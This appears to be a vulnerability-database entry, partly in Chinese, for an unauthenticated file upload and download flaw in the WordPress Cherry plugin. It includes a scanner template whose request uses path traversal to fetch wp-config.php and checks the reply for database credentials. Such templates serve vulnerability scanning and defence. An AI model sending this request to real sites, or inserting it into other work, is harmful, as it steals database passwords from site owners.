cherry-lfi: WordPress Cherry < 1.2.7 - Unauthenticated Arbitrary File Upload and Download

日期: 2025-08-01 | 影响软件: WordPress Cherry | POC: 已公开

漏洞描述

WordPress plugin Cherry < 1.2.7 has a vulnerability which enables an attacker to upload files directly to the server. This could result in attacker uploading backdoor shell scripts or downloading the wp-config.php file.

PoC代码[已公开]

id: cherry-lfi

info:
  name: WordPress Cherry < 1.2.7 - Unauthenticated Arbitrary File Upload and Download
  author: dhiyaneshDK
  severity: high
  description: WordPress plugin Cherry < 1.2.7 has a vulnerability which enables an attacker to upload files directly to the server. This could result in attacker uploading backdoor shell scripts or downloading the wp-config.php file.
  reference:
    - https://wpscan.com/vulnerability/90034817-dee7-40c9-80a2-1f1cd1d033ee
    - https://support.alertlogic.com/hc/en-us/articles/115003048083-06-19-17-WordPress-CMS-Cherry-Plugin-Arbitrary-File-Upload-RCE
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wpscan,wordpress,wp-plugin,lfi,wp,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=../../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b7907586def311d2a3559d8fd793d646e8efc483a123073123d724b3b65428fd0221008068e21f08952bbf1258f9044a753598ae96ded32cfbad5202fb13c8b52ea89d:922c64590222798bb761d5b6d8e72950

相关漏洞推荐